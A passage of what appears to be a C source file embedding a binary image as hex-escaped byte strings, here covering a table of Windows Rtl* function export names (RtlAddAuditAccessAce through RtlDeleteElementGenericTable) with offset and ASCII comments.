\"\\x41\\x64\\x64\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x41\\x63\\x74\\x69\"   //AddAttributeActi\n/* 00A440 */   \"\\x6F\\x6E\\x54\\x6F\\x52\\x58\\x61\\x63\\x74\\x00\\x52\\x74\\x6C\\x41\\x64\\x64\"   //onToRXact.RtlAdd\n/* 00A460 */   \"\\x41\\x75\\x64\\x69\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x41\\x63\\x65\\x00\\x52\"   //AuditAccessAce.R\n/* 00A480 */   \"\\x74\\x6C\\x41\\x64\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x63\\x63\\x65\\x73\\x73\"   //tlAddAuditAccess\n/* 00A4A0 */   \"\\x41\\x63\\x65\\x45\\x78\\x00\\x52\\x74\\x6C\\x41\\x64\\x64\\x41\\x75\\x64\\x69\"   //AceEx.RtlAddAudi\n/* 00A4C0 */   \"\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x63\\x65\"   //tAccessObjectAce\n/* 00A4E0 */   \"\\x00\\x52\\x74\\x6C\\x41\\x64\\x64\\x43\\x6F\\x6D\\x70\\x6F\\x75\\x6E\\x64\\x41\"   //.RtlAddCompoundA\n/* 00A500 */   \"\\x63\\x65\\x00\\x52\\x74\\x6C\\x41\\x64\\x64\\x52\\x61\\x6E\\x67\\x65\\x00\\x52\"   //ce.RtlAddRange.R\n/* 00A520 */   \"\\x74\\x6C\\x41\\x64\\x64\\x52\\x65\\x66\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\"   //tlAddRefActivati\n/* 00A540 */   \"\\x6F\\x6E\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x00\\x52\\x74\\x6C\\x41\\x64\\x64\"   //onContext.RtlAdd\n/* 00A560 */   \"\\x52\\x65\\x66\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x00\"   //RefMemoryStream.\n/* 00A580 */   \"\\x52\\x74\\x6C\\x41\\x64\\x64\\x56\\x65\\x63\\x74\\x6F\\x72\\x65\\x64\\x45\\x78\"   //RtlAddVectoredEx\n/* 00A5A0 */   \"\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x00\\x52\"   //ceptionHandler.R\n/* 00A5C0 */   \"\\x74\\x6C\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x49\\x6E\\x53\\x65\\x63\\x74\\x69\"   //tlAddressInSecti\n/* 00A5E0 */   \"\\x6F\\x6E\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x41\\x64\\x6A\\x75\\x73\"   //onTable.RtlAdjus\n/* 00A600 */   \"\\x74\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x00\\x52\\x74\\x6C\\x41\\x6C\"   //tPrivilege.RtlAl\n/* 00A620 */   \"\\x6C\\x6F\\x63\\x61\\x74\\x65\\x41\\x6E\\x64\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\"   //locateAndInitial\n/* 00A640 */   \"\\x69\\x7A\\x65\\x53\\x69\\x64\\x00\\x52\\x74\\x6C\\x41\\x6C\\x6C\\x6F\\x63\\x61\"   //izeSid.RtlAlloca\n/* 00A660 */   \"\\x74\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x52\\x74\\x6C\\x41\\x6C\\x6C\\x6F\"   //teHandle.RtlAllo\n/* 00A680 */   \"\\x63\\x61\\x74\\x65\\x48\\x65\\x61\\x70\\x00\\x52\\x74\\x6C\\x41\\x6E\\x73\\x69\"   //cateHeap.RtlAnsi\n/* 00A6A0 */   \"\\x43\\x68\\x61\\x72\\x54\\x6F\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x43\\x68\\x61\"   //CharToUnicodeCha\n/* 00A6C0 */   \"\\x72\\x00\\x52\\x74\\x6C\\x41\\x6E\\x73\\x69\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\"   //r.RtlAnsiStringT\n/* 00A6E0 */   \"\\x6F\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x69\\x7A\\x65\\x00\\x52\\x74\\x6C\"   //oUnicodeSize.Rtl\n/* 00A700 */   \"\\x41\\x6E\\x73\\x69\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x55\\x6E\\x69\\x63\"   //AnsiStringToUnic\n/* 00A720 */   \"\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x41\\x70\\x70\"   //odeString.RtlApp\n/* 00A740 */   \"\\x65\\x6E\\x64\\x41\\x73\\x63\\x69\\x69\\x7A\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\"   //endAsciizToStrin\n/* 00A760 */   \"\\x67\\x00\\x52\\x74\\x6C\\x41\\x70\\x70\\x65\\x6E\\x64\\x50\\x61\\x74\\x68\\x45\"   //g.RtlAppendPathE\n/* 00A780 */   \"\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x00\\x52\\x74\\x6C\\x41\\x70\\x70\\x65\\x6E\\x64\"   //lement.RtlAppend\n/* 00A7A0 */   \"\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\"   //StringToString.R\n/* 00A7C0 */   \"\\x74\\x6C\\x41\\x70\\x70\\x65\\x6E\\x64\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\"   //tlAppendUnicodeS\n/* 00A7E0 */   \"\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\"   //tringToString.Rt\n/* 00A800 */   \"\\x6C\\x41\\x70\\x70\\x65\\x6E\\x64\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x54\\x6F\"   //lAppendUnicodeTo\n/* 00A820 */   \"\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x41\\x70\\x70\\x6C\\x69\\x63\"   //String.RtlApplic\n/* 00A840 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x56\\x65\\x72\\x69\\x66\\x69\\x65\\x72\\x53\\x74\\x6F\"   //ationVerifierSto\n/* 00A860 */   \"\\x70\\x00\\x52\\x74\\x6C\\x41\\x70\\x70\\x6C\\x79\\x52\\x58\\x61\\x63\\x74\\x00\"   //p.RtlApplyRXact.\n/* 00A880 */   \"\\x52\\x74\\x6C\\x41\\x70\\x70\\x6C\\x79\\x52\\x58\\x61\\x63\\x74\\x4E\\x6F\\x46\"   //RtlApplyRXactNoF\n/* 00A8A0 */   \"\\x6C\\x75\\x73\\x68\\x00\\x52\\x74\\x6C\\x41\\x72\\x65\\x41\\x6C\\x6C\\x41\\x63\"   //lush.RtlAreAllAc\n/* 00A8C0 */   \"\\x63\\x65\\x73\\x73\\x65\\x73\\x47\\x72\\x61\\x6E\\x74\\x65\\x64\\x00\\x52\\x74\"   //cessesGranted.Rt\n/* 00A8E0 */   \"\\x6C\\x41\\x72\\x65\\x41\\x6E\\x79\\x41\\x63\\x63\\x65\\x73\\x73\\x65\\x73\\x47\"   //lAreAnyAccessesG\n/* 00A900 */   \"\\x72\\x61\\x6E\\x74\\x65\\x64\\x00\\x52\\x74\\x6C\\x41\\x72\\x65\\x42\\x69\\x74\"   //ranted.RtlAreBit\n/* 00A920 */   \"\\x73\\x43\\x6C\\x65\\x61\\x72\\x00\\x52\\x74\\x6C\\x41\\x72\\x65\\x42\\x69\\x74\"   //sClear.RtlAreBit\n/* 00A940 */   \"\\x73\\x53\\x65\\x74\\x00\\x52\\x74\\x6C\\x41\\x73\\x73\\x65\\x72\\x74\\x00\\x52\"   //sSet.RtlAssert.R\n/* 00A960 */   \"\\x74\\x6C\\x41\\x73\\x73\\x65\\x72\\x74\\x32\\x00\\x52\\x74\\x6C\\x43\\x61\\x6E\"   //tlAssert2.RtlCan\n/* 00A980 */   \"\\x63\\x65\\x6C\\x54\\x69\\x6D\\x65\\x72\\x00\\x52\\x74\\x6C\\x43\\x61\\x70\\x74\"   //celTimer.RtlCapt\n/* 00A9A0 */   \"\\x75\\x72\\x65\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x00\\x52\\x74\\x6C\\x43\\x61\"   //ureContext.RtlCa\n/* 00A9C0 */   \"\\x70\\x74\\x75\\x72\\x65\\x53\\x74\\x61\\x63\\x6B\\x42\\x61\\x63\\x6B\\x54\\x72\"   //ptureStackBackTr\n/* 00A9E0 */   \"\\x61\\x63\\x65\\x00\\x52\\x74\\x6C\\x43\\x61\\x70\\x74\\x75\\x72\\x65\\x53\\x74\"   //ace.RtlCaptureSt\n/* 00AA00 */   \"\\x61\\x63\\x6B\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x00\\x52\\x74\\x6C\\x43\\x68\"   //ackContext.RtlCh\n/* 00AA20 */   \"\\x61\\x72\\x54\\x6F\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x00\\x52\\x74\\x6C\\x43\"   //arToInteger.RtlC\n/* 00AA40 */   \"\\x68\\x65\\x63\\x6B\\x46\\x6F\\x72\\x4F\\x72\\x70\\x68\\x61\\x6E\\x65\\x64\\x43\"   //heckForOrphanedC\n/* 00AA60 */   \"\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x00\"   //riticalSections.\n/* 00AA80 */   \"\\x52\\x74\\x6C\\x43\\x68\\x65\\x63\\x6B\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x50\"   //RtlCheckProcessP\n/* 00AAA0 */   \"\\x61\\x72\\x61\\x6D\\x65\\x74\\x65\\x72\\x73\\x00\\x52\\x74\\x6C\\x43\\x68\\x65\"   //arameters.RtlChe\n/* 00AAC0 */   \"\\x63\\x6B\\x52\\x65\\x67\\x69\\x73\\x74\\x72\\x79\\x4B\\x65\\x79\\x00\\x52\\x74\"   //ckRegistryKey.Rt\n/* 00AAE0 */   \"\\x6C\\x43\\x6C\\x65\\x61\\x72\\x41\\x6C\\x6C\\x42\\x69\\x74\\x73\\x00\\x52\\x74\"   //lClearAllBits.Rt\n/* 00AB00 */   \"\\x6C\\x43\\x6C\\x65\\x61\\x72\\x42\\x69\\x74\\x73\\x00\\x52\\x74\\x6C\\x43\\x6C\"   //lClearBits.RtlCl\n/* 00AB20 */   \"\\x6F\\x6E\\x65\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x00\"   //oneMemoryStream.\n/* 00AB40 */   \"\\x52\\x74\\x6C\\x43\\x6F\\x6D\\x6D\\x69\\x74\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\"   //RtlCommitMemoryS\n/* 00AB60 */   \"\\x74\\x72\\x65\\x61\\x6D\\x00\\x52\\x74\\x6C\\x43\\x6F\\x6D\\x70\\x61\\x63\\x74\"   //tream.RtlCompact\n/* 00AB80 */   \"\\x48\\x65\\x61\\x70\\x00\\x52\\x74\\x6C\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x4D\"   //Heap.RtlCompareM\n/* 00ABA0 */   \"\\x65\\x6D\\x6F\\x72\\x79\\x00\\x52\\x74\\x6C\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\"   //emory.RtlCompare\n/* 00ABC0 */   \"\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x55\\x6C\\x6F\\x6E\\x67\\x00\\x52\\x74\\x6C\\x43\"   //MemoryUlong.RtlC\n/* 00ABE0 */   \"\\x6F\\x6D\\x70\\x61\\x72\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\"   //ompareString.Rtl\n/* 00AC00 */   \"\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\"   //CompareUnicodeSt\n/* 00AC20 */   \"\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x43\\x6F\\x6D\\x70\\x72\\x65\\x73\\x73\"   //ring.RtlCompress\n/* 00AC40 */   \"\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x52\\x74\\x6C\\x43\\x6F\\x6D\\x70\\x75\\x74\"   //Buffer.RtlComput\n/* 00AC60 */   \"\\x65\\x43\\x72\\x63\\x33\\x32\\x00\\x52\\x74\\x6C\\x43\\x6F\\x6D\\x70\\x75\\x74\"   //eCrc32.RtlComput\n/* 00AC80 */   \"\\x65\\x49\\x6D\\x70\\x6F\\x72\\x74\\x54\\x61\\x62\\x6C\\x65\\x48\\x61\\x73\\x68\"   //eImportTableHash\n/* 00ACA0 */   \"\\x00\\x52\\x74\\x6C\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x50\\x72\\x69\\x76\\x61\"   //.RtlComputePriva\n/* 00ACC0 */   \"\\x74\\x69\\x7A\\x65\\x64\\x44\\x6C\\x6C\\x4E\\x61\\x6D\\x65\\x5F\\x55\\x00\\x52\"   //tizedDllName_U.R\n/* 00ACE0 */   \"\\x74\\x6C\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4D\\x75\\x6C\\x74\\x69\\x42\\x79\"   //tlConsoleMultiBy\n/* 00AD00 */   \"\\x74\\x65\\x54\\x6F\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x4E\\x00\\x52\\x74\\x6C\"   //teToUnicodeN.Rtl\n/* 00AD20 */   \"\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x45\\x78\\x63\\x6C\\x75\\x73\\x69\\x76\\x65\"   //ConvertExclusive\n/* 00AD40 */   \"\\x54\\x6F\\x53\\x68\\x61\\x72\\x65\\x64\\x00\\x52\\x74\\x6C\\x43\\x6F\\x6E\\x76\"   //ToShared.RtlConv\n/* 00AD60 */   \"\\x65\\x72\\x74\\x4C\\x6F\\x6E\\x67\\x54\\x6F\\x4C\\x61\\x72\\x67\\x65\\x49\\x6E\"   //ertLongToLargeIn\n/* 00AD80 */   \"\\x74\\x65\\x67\\x65\\x72\\x00\\x52\\x74\\x6C\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\"   //teger.RtlConvert\n/* 00ADA0 */   \"\\x50\\x72\\x6F\\x70\\x65\\x72\\x74\\x79\\x54\\x6F\\x56\\x61\\x72\\x69\\x61\\x6E\"   //PropertyToVarian\n/* 00ADC0 */   \"\\x74\\x00\\x52\\x74\\x6C\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x68\\x61\\x72\"   //t.RtlConvertShar\n/* 00ADE0 */   \"\\x65\\x64\\x54\\x6F\\x45\\x78\\x63\\x6C\\x75\\x73\\x69\\x76\\x65\\x00\\x52\\x74\"   //edToExclusive.Rt\n/* 00AE00 */   \"\\x6C\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x69\\x64\\x54\\x6F\\x55\\x6E\\x69\"   //lConvertSidToUni\n/* 00AE20 */   \"\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x43\\x6F\"   //codeString.RtlCo\n/* 00AE40 */   \"\\x6E\\x76\\x65\\x72\\x74\\x54\\x6F\\x41\\x75\\x74\\x6F\\x49\\x6E\\x68\\x65\\x72\"   //nvertToAutoInher\n/* 00AE60 */   \"\\x69\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\"   //itSecurityObject\n/* 00AE80 */   \"\\x00\\x52\\x74\\x6C\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x55\\x69\\x4C\\x69\\x73\"   //.RtlConvertUiLis\n/* 00AEA0 */   \"\\x74\\x54\\x6F\\x41\\x70\\x69\\x4C\\x69\\x73\\x74\\x00\\x52\\x74\\x6C\\x43\\x6F\"   //tToApiList.RtlCo\n/* 00AEC0 */   \"\\x6E\\x76\\x65\\x72\\x74\\x55\\x6C\\x6F\\x6E\\x67\\x54\\x6F\\x4C\\x61\\x72\\x67\"   //nvertUlongToLarg\n/* 00AEE0 */   \"\\x65\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x00\\x52\\x74\\x6C\\x43\\x6F\\x6E\\x76\"   //eInteger.RtlConv\n/* 00AF00 */   \"\\x65\\x72\\x74\\x56\\x61\\x72\\x69\\x61\\x6E\\x74\\x54\\x6F\\x50\\x72\\x6F\\x70\"   //ertVariantToProp\n/* 00AF20 */   \"\\x65\\x72\\x74\\x79\\x00\\x52\\x74\\x6C\\x43\\x6F\\x70\\x79\\x4C\\x75\\x69\\x64\"   //erty.RtlCopyLuid\n/* 00AF40 */   \"\\x00\\x52\\x74\\x6C\\x43\\x6F\\x70\\x79\\x4C\\x75\\x69\\x64\\x41\\x6E\\x64\\x41\"   //.RtlCopyLuidAndA\n/* 00AF60 */   \"\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\\x41\\x72\\x72\\x61\\x79\\x00\\x52\"   //ttributesArray.R\n/* 00AF80 */   \"\\x74\\x6C\\x43\\x6F\\x70\\x79\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\"   //tlCopyMemoryStre\n/* 00AFA0 */   \"\\x61\\x6D\\x54\\x6F\\x00\\x52\\x74\\x6C\\x43\\x6F\\x70\\x79\\x4F\\x75\\x74\\x4F\"   //amTo.RtlCopyOutO\n/* 00AFC0 */   \"\\x66\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\"   //fProcessMemorySt\n/* 00AFE0 */   \"\\x72\\x65\\x61\\x6D\\x54\\x6F\\x00\\x52\\x74\\x6C\\x43\\x6F\\x70\\x79\\x52\\x61\"   //reamTo.RtlCopyRa\n/* 00B000 */   \"\\x6E\\x67\\x65\\x4C\\x69\\x73\\x74\\x00\\x52\\x74\\x6C\\x43\\x6F\\x70\\x79\\x53\"   //ngeList.RtlCopyS\n/* 00B020 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\"   //ecurityDescripto\n/* 00B040 */   \"\\x72\\x00\\x52\\x74\\x6C\\x43\\x6F\\x70\\x79\\x53\\x69\\x64\\x00\\x52\\x74\\x6C\"   //r.RtlCopySid.Rtl\n/* 00B060 */   \"\\x43\\x6F\\x70\\x79\\x53\\x69\\x64\\x41\\x6E\\x64\\x41\\x74\\x74\\x72\\x69\\x62\"   //CopySidAndAttrib\n/* 00B080 */   \"\\x75\\x74\\x65\\x73\\x41\\x72\\x72\\x61\\x79\\x00\\x52\\x74\\x6C\\x43\\x6F\\x70\"   //utesArray.RtlCop\n/* 00B0A0 */   \"\\x79\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x43\\x6F\\x70\\x79\\x55\"   //yString.RtlCopyU\n/* 00B0C0 */   \"\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\"   //nicodeString.Rtl\n/* 00B0E0 */   \"\\x43\\x72\\x65\\x61\\x74\\x65\\x41\\x63\\x6C\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\"   //CreateAcl.RtlCre\n/* 00B100 */   \"\\x61\\x74\\x65\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x6E\"   //ateActivationCon\n/* 00B120 */   \"\\x74\\x65\\x78\\x74\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\\x61\\x74\\x65\\x41\\x6E\"   //text.RtlCreateAn\n/* 00B140 */   \"\\x64\\x53\\x65\\x74\\x53\\x44\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\\x61\\x74\\x65\"   //dSetSD.RtlCreate\n/* 00B160 */   \"\\x41\\x74\\x6F\\x6D\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\"   //AtomTable.RtlCre\n/* 00B180 */   \"\\x61\\x74\\x65\\x42\\x6F\\x6F\\x74\\x53\\x74\\x61\\x74\\x75\\x73\\x44\\x61\\x74\"   //ateBootStatusDat\n/* 00B1A0 */   \"\\x61\\x46\\x69\\x6C\\x65\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\\x61\\x74\\x65\\x45\"   //aFile.RtlCreateE\n/* 00B1C0 */   \"\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x00\\x52\\x74\\x6C\\x43\\x72\"   //nvironment.RtlCr\n/* 00B1E0 */   \"\\x65\\x61\\x74\\x65\\x48\\x65\\x61\\x70\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\\x61\"   //eateHeap.RtlCrea\n/* 00B200 */   \"\\x74\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x50\\x61\\x72\\x61\\x6D\\x65\\x74\"   //teProcessParamet\n/* 00B220 */   \"\\x65\\x72\\x73\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\\x61\\x74\\x65\\x51\\x75\\x65\"   //ers.RtlCreateQue\n/* 00B240 */   \"\\x72\\x79\\x44\\x65\\x62\\x75\\x67\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x52\\x74\"   //ryDebugBuffer.Rt\n/* 00B260 */   \"\\x6C\\x43\\x72\\x65\\x61\\x74\\x65\\x52\\x65\\x67\\x69\\x73\\x74\\x72\\x79\\x4B\"   //lCreateRegistryK\n/* 00B280 */   \"\\x65\\x79\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\\x63\\x75\"   //ey.RtlCreateSecu\n/* 00B2A0 */   \"\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\\x52\"   //rityDescriptor.R\n/* 00B2C0 */   \"\\x74\\x6C\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x53\"   //tlCreateServiceS\n/* 00B2E0 */   \"\\x69\\x64\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x79\\x73\\x74\"   //id.RtlCreateSyst\n/* 00B300 */   \"\\x65\\x6D\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\"   //emVolumeInformat\n/* 00B320 */   \"\\x69\\x6F\\x6E\\x46\\x6F\\x6C\\x64\\x65\\x72\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\"   //ionFolder.RtlCre\n/* 00B340 */   \"\\x61\\x74\\x65\\x54\\x61\\x67\\x48\\x65\\x61\\x70\\x00\\x52\\x74\\x6C\\x43\\x72\"   //ateTagHeap.RtlCr\n/* 00B360 */   \"\\x65\\x61\\x74\\x65\\x54\\x69\\x6D\\x65\\x72\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\"   //eateTimer.RtlCre\n/* 00B380 */   \"\\x61\\x74\\x65\\x54\\x69\\x6D\\x65\\x72\\x51\\x75\\x65\\x75\\x65\\x00\\x52\\x74\"   //ateTimerQueue.Rt\n/* 00B3A0 */   \"\\x6C\\x43\\x72\\x65\\x61\\x74\\x65\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\"   //lCreateUnicodeSt\n/* 00B3C0 */   \"\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\\x61\\x74\\x65\\x55\\x6E\"   //ring.RtlCreateUn\n/* 00B3E0 */   \"\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x46\\x72\\x6F\\x6D\\x41\"   //icodeStringFromA\n/* 00B400 */   \"\\x73\\x63\\x69\\x69\\x7A\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\\x61\\x74\\x65\\x55\"   //sciiz.RtlCreateU\n/* 00B420 */   \"\\x73\\x65\\x72\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x52\\x74\\x6C\\x43\\x72\"   //serProcess.RtlCr\n/* 00B440 */   \"\\x65\\x61\\x74\\x65\\x55\\x73\\x65\\x72\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\"   //eateUserSecurity\n/* 00B460 */   \"\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x52\\x74\\x6C\\x43\\x72\\x65\\x61\\x74\\x65\"   //Object.RtlCreate\n/* 00B480 */   \"\\x55\\x73\\x65\\x72\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x52\\x74\\x6C\\x43\\x75\"   //UserThread.RtlCu\n/* 00B4A0 */   \"\\x73\\x74\\x6F\\x6D\\x43\\x50\\x54\\x6F\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x4E\"   //stomCPToUnicodeN\n/* 00B4C0 */   \"\\x00\\x52\\x74\\x6C\\x43\\x75\\x74\\x6F\\x76\\x65\\x72\\x54\\x69\\x6D\\x65\\x54\"   //.RtlCutoverTimeT\n/* 00B4E0 */   \"\\x6F\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x00\\x52\\x74\\x6C\\x44\"   //oSystemTime.RtlD\n/* 00B500 */   \"\\x65\\x4E\\x6F\\x72\\x6D\\x61\\x6C\\x69\\x7A\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\"   //eNormalizeProces\n/* 00B520 */   \"\\x73\\x50\\x61\\x72\\x61\\x6D\\x73\\x00\\x52\\x74\\x6C\\x44\\x65\\x61\\x63\\x74\"   //sParams.RtlDeact\n/* 00B540 */   \"\\x69\\x76\\x61\\x74\\x65\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\\x6E\\x43\"   //ivateActivationC\n/* 00B560 */   \"\\x6F\\x6E\\x74\\x65\\x78\\x74\\x00\\x52\\x74\\x6C\\x44\\x65\\x61\\x63\\x74\\x69\"   //ontext.RtlDeacti\n/* 00B580 */   \"\\x76\\x61\\x74\\x65\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\"   //vateActivationCo\n/* 00B5A0 */   \"\\x6E\\x74\\x65\\x78\\x74\\x55\\x6E\\x73\\x61\\x66\\x65\\x46\\x61\\x73\\x74\\x00\"   //ntextUnsafeFast.\n/* 00B5C0 */   \"\\x52\\x74\\x6C\\x44\\x65\\x62\\x75\\x67\\x50\\x72\\x69\\x6E\\x74\\x54\\x69\\x6D\"   //RtlDebugPrintTim\n/* 00B5E0 */   \"\\x65\\x73\\x00\\x52\\x74\\x6C\\x44\\x65\\x63\\x6F\\x64\\x65\\x50\\x6F\\x69\\x6E\"   //es.RtlDecodePoin\n/* 00B600 */   \"\\x74\\x65\\x72\\x00\\x52\\x74\\x6C\\x44\\x65\\x63\\x6F\\x64\\x65\\x53\\x79\\x73\"   //ter.RtlDecodeSys\n/* 00B620 */   \"\\x74\\x65\\x6D\\x50\\x6F\\x69\\x6E\\x74\\x65\\x72\\x00\\x52\\x74\\x6C\\x44\\x65\"   //temPointer.RtlDe\n/* 00B640 */   \"\\x63\\x6F\\x6D\\x70\\x72\\x65\\x73\\x73\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x52\"   //compressBuffer.R\n/* 00B660 */   \"\\x74\\x6C\\x44\\x65\\x63\\x6F\\x6D\\x70\\x72\\x65\\x73\\x73\\x46\\x72\\x61\\x67\"   //tlDecompressFrag\n/* 00B680 */   \"\\x6D\\x65\\x6E\\x74\\x00\\x52\\x74\\x6C\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x4E\"   //ment.RtlDefaultN\n/* 00B6A0 */   \"\\x70\\x41\\x63\\x6C\\x00\\x52\\x74\\x6C\\x44\\x65\\x6C\\x65\\x74\\x65\\x00\\x52\"   //pAcl.RtlDelete.R\n/* 00B6C0 */   \"\\x74\\x6C\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\\x63\\x65\\x00\\x52\\x74\\x6C\\x44\"   //tlDeleteAce.RtlD\n/* 00B6E0 */   \"\\x65\\x6C\\x65\\x74\\x65\\x41\\x74\\x6F\\x6D\\x46\\x72\\x6F\\x6D\\x41\\x74\\x6F\"   //eleteAtomFromAto\n/* 00B700 */   \"\\x6D\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x44\\x65\\x6C\\x65\\x74\\x65\"   //mTable.RtlDelete\n/* 00B720 */   \"\\x43\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\"   //CriticalSection.\n/* 00B740 */   \"\\x52\\x74\\x6C\\x44\\x65\\x6C\\x65\\x74\\x65\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\"   //RtlDeleteElement\n/* 00B760 */   \"\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\"   //GenericTable.Rtl\n/* 00B780 */   \"\\x44\\x65\\x6C\\x65\\x74\\x65\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x47\\x65\\x6E\"   //DeleteElementGen\n/* 00B7A0 */   \"\\x65\\x72\\x69\\x63\\x54\\x61\\x62\\x6C\\x65\\x41\\x76\\x6C\\x00\\x52\\x74\\x6C\"   //ericTableAvl.Rtl\n/* 00B7C0 */   